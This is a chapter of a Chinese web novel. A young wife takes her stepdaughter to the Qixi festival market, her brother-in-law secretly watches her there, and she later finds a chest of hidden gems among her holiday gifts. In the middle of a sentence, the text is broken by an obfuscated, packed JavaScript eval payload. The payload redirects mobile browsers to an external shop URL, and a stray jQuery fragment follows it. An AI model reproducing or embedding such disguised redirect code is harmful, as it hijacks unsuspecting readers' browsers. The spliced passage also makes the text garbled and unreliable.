季兰淑再一次见到刺红花丛,还以为自己看错了。
下人说,是三郎君让种的。
季兰淑一时不知道说什么好,裴忌这个人,着实阴晴不定。
她对面前新的刺红花没了感情,任凭它们再怎么茂盛鲜艳,终究不是从前的花。季兰淑喜欢的花,已经被连根拔起,死掉了。
季兰淑回到碧梧院,将婉姐儿叫了过来。
婉姐儿是裴衡的一个妾室所出,大名裴素婉,今年已经十四,再过两年便要相看人家了。
今日是七月初七乞巧节,也称作女儿节。
城里从七月初一便开始置办节物,这几日车马盈市,罗绮满街,街上到处是卖巧果、花瓜、磨喝乐的摊子。还有乞巧市,姑娘们皆着新衣,三三两两结伴出游。
到了晚间,富贵人家便在庭院中结扎彩楼,女子对月穿针。或捉了小蜘蛛置于盒中,次日看蛛网是否圆正,来占卜是否得了巧。
季兰淑对婉姐儿道:“整日闷在府里也不成,今儿外头热闹,我带你出去散散心好吗?当然,你若是不想动,那就留在府上。”
婉姐儿的生母是妾室,出门不易。季兰淑便想着,要不她今日带着婉姐儿出去一趟?
婉姐儿听了,眼睛一亮,又有些怯怯的:“是不是太麻烦大娘子了。”
“不麻烦,我原本也打算出门。正好,有人陪我了。”季兰淑伸手替她理了理鬓边碎发。
婉姐儿的神情放松了些,这便答应了。
她们带着小厮,刚走到二门处,便见云哥儿从穿堂那头转出来。
云哥儿瞧见季兰淑牵着婉姐儿,目光在婉姐儿身上停了一停,带着点不大待见的意思,随即又转向季兰淑:“你们这是去哪儿?”
“婉姐儿陪我出门瞧瞧夜市。”季兰淑道。
云哥儿一听,下意识问:“怎么不带我?”
“今日是乞巧,女孩儿家的日子,你去做什么?”季兰淑觉得莫名其妙。
云哥儿这才反应过来今日是乞巧节,有些尴尬。
季兰淑倒不觉得什么,伸手在他脑袋拍了拍:“下回男儿节,你再和林哥儿一道出去逛罢。”
婉姐儿在一旁听着,忍不住拿袖子掩了嘴,遮挡笑意。
云哥儿一顿,似乎真的在回想男儿节是什么,随即清醒过来,跺脚道:“哪里有什么男儿节!分明是哄我!”
而季兰淑已经牵着婉姐儿走远了,只留给他一个背影。
天色将暗未暗,街市上已经喧闹起来。
两旁的铺子门前挂起了彩绸,在风中摇曳。卖巧果的摊子前挤满了人,油面糖蜜做成的小果子,花朵形状、动物形状都有。
“大娘子,那个是什么?”婉姐儿拉了拉季兰淑的袖子,指着不远处另一个摊子。
季兰淑顺着她的目光看去,只见摊上摆着一排泥塑的小人儿,憨态可掬。
“那是磨喝乐,乞巧节的小玩意儿。你若喜欢,买一个给你。”季兰淑道。
婉姐儿本能地推拒:“不、不用的,我就是看看……”
季兰淑已经叫小满付了钱,挑了一个眉眼最讨喜的,塞到婉姐儿手里:“拿着罢,难得出来一趟。”
“多谢大娘子。”婉姐儿拿着磨喝乐,道了谢。
季兰淑带着她继续往前走,拐过一处街角,来到更加热闹的乞巧市。
人流如织,摩肩接踵,小厮们护在两侧,抵挡着人潮的冲撞,不敢叫大娘子和婉姐儿被人挤着了。
前头街口却堵住了,几辆马车挤在一处,谁也过不去,车夫们各自扬着鞭子,高声叫嚷着。行人便从车与车的缝隙里钻过去,推推搡搡,越发拥挤不堪。
一辆青呢马车抵达街口。
那车看着便与旁的不同,车身用的是上好的楠木,漆色沉厚,青呢帷幔垂下,四角缀着银丝穗子,车辕上鎏金的饰件在暮色里泛着光。拉车的马也格外神骏,通体乌黑,鬃毛油亮,一看便知是良驹。
车旁还跟着两个骑马的随从,虽说并未亮出什么官衔牌,可那气派,明眼人一瞧便知道不是寻常人家。
原本堵在街口的那几辆马车,方才还互不相让,谁也不肯退后半步。可这边青呢车一过来,打头那辆骡车的车夫先瞧见了,眼皮子一跳,连忙往边上带了带缰绳。
后面的也跟着让了让,原本堵死了的街口,竟硬生生地空出一条窄道来。
可行人仍是太多。石禄坐在车沿上,探着脖子看了看前头的情形,又回头隔着帘子道:“主子,今儿乞巧,外头人多得不像话,前头街口堵严实了,马车过去不方便。咱们换条路走吧?绕一道从东边的巷子穿过去,虽说远些,好歹不堵。”
他正说着,目光随意往人群中一扫,忽然咦了一声,又眯着眼仔细看了看:“前头那不是咱们府上的家丁吗?诶!还有大娘子和婉姐儿呢,她们也出来了。”
马车内没有立即回复,过了片刻,裴忌的声音才传出来:“两个女眷出门,大哥也不知道陪着。”
随后帘子掀开一角,裴忌下了车。长身玉立,棱角分明,站在那乱糟糟的人群中,格外扎眼。
“你驾车回去罢,我下来走走。”裴忌吩咐道。
石禄一愣:“主子,这……”
裴忌已经走了,丢下一句话:“这点路,走一走也无妨。”
主子近来的异常太多,石禄摇了摇头,也懒得再想,调转马头,赶着车绕路走了。
人群喧闹中,裴忌不远不近跟在季兰淑身后,看着她买了磨喝乐,看着她买了巧果,也许是那一处摊子的巧果难吃,季兰淑咬了一口便皱起眉来。
即便难吃,她还是吃完了那一枚巧果,没有扔掉。只是吃完之后,又买了一杯葡萄饮子,眼睛终于弯了起来。
她喜欢吃葡萄吗?
天色渐渐暗下来,月亮露出了头。
之后季兰淑又去了一处搭着彩棚的摊子前,那里围着好些人,案上摆着七根银针,一字排开,旁边搁着一卷五色丝线,正是乞巧节的穿七孔。
季兰淑被婉姐儿推着上前,只得接了线,低头对着月光去穿。旁人还在比划第一根针,她已经连着过了三四根,手指又快又稳。不过一眨眼的工夫,七根针的彩线便已穿完了。
“穿完了穿完了!这位娘子先穿完,是为得巧!”摊主高声嚷了起来,随即递给季兰淑一个小竹篮,里面装着巧果和香囊,“这是今日第一份彩头,娘子收好!”
周围的人拍手喝彩,起哄着。
被人围着,季兰淑脸红了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720414|208616||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。她肤色本就浅,脸颊的红便格外分明,像是胭脂晕开。
输的人都没什么,赢的人倒最先不好意思起来了。
裴忌站在人群外头,隔着几层灯笼和人影,瞧见了她那抹红。
不远处,有人放起烟火,在夜空里炸开,流光四溅,晃得满街的人仰头去看。
季兰淑也抬起了头,望着那满天火光,眉眼在光影里明灭。
她竟不止对他一个人脸红。
她为什么,一眼也不看他?宁愿仰头看烟火。
裴忌垂眼思索,除了火腿豆腐羹和葡萄,季兰淑还会喜欢什么呢。
长嫂算是他的亲人,亲人之间,自然要相互照应。所以,他来关照季兰淑,原也是本分,合乎规矩。
……
晚间,季兰淑回府之后,外头一个小厮抱着一只红漆木箱进来,搁在院中的石桌上。
“大娘子,乞巧节的节礼,给院里的女眷们添个趣儿。”小厮说道。
季兰淑并未在意,只道:“放那儿罢。”
每年乞巧,府上采办的小玩意儿都少不了,分到各院女眷手里,也算是应个景儿。
季兰淑换了家常衣裳,才踱到石桌边,随手掀开箱盖看了一眼。上头果然是一应女儿家的小东西,团扇、针线、桂花头油、彩线编的结……倒也没什么出奇。
她随手往下翻了翻,指尖触到一件硬物,有些沉。
季兰淑将那物件捞出来,借着廊下的灯笼光一瞧,竟是一枚硕大的红宝石!
那宝石足足有鸽卵大小,泛着浓艳的红,仿佛凝固的血迹。
季兰淑愣了一下,又伸手往箱底摸索,竟又摸出几枚品相上好的宝石来,蓝的、绿的,一粒一粒,个头都不小,底下还压着几只黄澄澄的金元宝,亮光闪烁。
季兰淑的脸色一下子白了,像见了鬼,她猛地合上箱盖,朝屋里唤道:“小满!小满!”
小满从屋里出来,见她神色不对,快步走近,低头往箱子里瞧了一眼,登时也变了脸色。
她二话不说,转身往院门口张望了一圈,确认四下无人,才快步回来:“大娘子,先放屋里。”
之后主仆一道,将那口箱子抬进了后罩房小满的屋子里,又拿了块布严严实实地盖住,此地无银三百两。
箱子放在中间,两个人大眼瞪小眼。
“大娘子,这、这哪是采办的小玩意儿?只怕再买一座裴府都绰绰有余了。”小满难以置信地说。
季兰淑倒是像还没反应过来似的,神色有些呆,呢喃道:“这手笔,就算是找人办事,也该留个名号才是。”
她说着,又看了那箱子一眼:“会不会是送给大郎君的?”
小满摇了摇头:“若是给大郎君的,就该送到书房去,送到咱们院子里来做什么?再说了,若真有人送礼求大郎君办事,大郎君好歹也该知会您一声才是。可您瞧瞧,大郎君倒好,一声不吭,今儿又歇在方姨娘屋里了。依奴婢看,这箱子里的东西,他怕是根本就不知道哩!”
“大娘子,咱们这算不算天降横财?”小满又问,眼神露出一丝期待。
“天降的,未必是财。”季兰淑终于回过神来。
还是说……有人想要害她?季兰淑惊恐地猜测。